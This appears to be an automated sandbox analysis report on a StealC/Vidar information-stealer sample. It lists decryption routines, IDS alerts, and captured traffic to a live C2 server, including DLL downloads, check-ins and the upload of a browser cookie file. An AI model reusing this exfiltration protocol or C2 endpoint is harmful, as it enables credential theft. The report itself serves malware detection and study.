moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.ff0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.ff0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00FF9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00FFC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00FF9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00FF7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01008EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_01008EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 44 45 44 32 31 38 37 46 30 37 43 39 33 32 37 33 31 37 38 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="hwid"BDED2187F07C932731780------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="build"doma------JKJKJJDBKEGIECAAECFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEHHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 2d 2d 0d 0a Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="message"browsers------IJEBKKEGDBFIIEBFHIEH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGIHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 2d 2d 0d 0a Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="message"plugins------JEBKJDAFHJDGDHJKKEGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAFHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"fplugins------HIIIIEGHDGDBFIDGHDAF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJHost: 185.215.113.37Content-Length: 7455Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="file"------BAEHIEBGHDAFIEBGIEHJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIEHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 2d 2d 0d 0a Data Ascii: ------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="file"------DGCBKECAKFBGCAKECGIE--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIEHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 2d 2d 0d 0a Data Ascii: ------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="message"wallets------DGCBKECAKFBGCAKECGIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="message"files------IJJJEBFHDBGIECBFCBKJ--
